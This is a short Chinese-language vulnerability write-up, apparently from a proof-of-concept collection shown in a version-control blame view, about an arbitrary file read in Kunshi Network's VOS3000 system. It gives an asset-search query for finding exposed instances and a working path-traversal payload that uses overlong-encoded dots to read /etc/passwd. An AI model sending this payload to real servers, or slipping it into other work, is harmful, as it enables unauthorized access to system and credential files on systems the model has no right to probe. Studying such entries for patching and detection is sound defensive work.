2022-05-25 15:32:50 +08:00
|
|
|
# 昆石网络 VOS3000虚拟运营支撑系统 %c0%ae%c0%ae 任意文件读取漏洞
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
昆石网络 VOS3000虚拟运营支撑系统 通过 %c0%ae%c0%ae 等字符绕过检测，可导致任意文件读取漏洞
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
昆石网络 VOS3000虚拟运营支撑系统
|
|
|
|
|
```
|
|
|
|
|
|
2023-08-28 15:55:36 +08:00
|
|
|
## 网络测绘
|
2022-05-25 15:32:50 +08:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
app="VOS-VOS3000"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
登录页面
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
2022-05-25 15:32:50 +08:00
|
|
|
|
|
|
|
|
验证POC
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
|
|
|
|
```
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
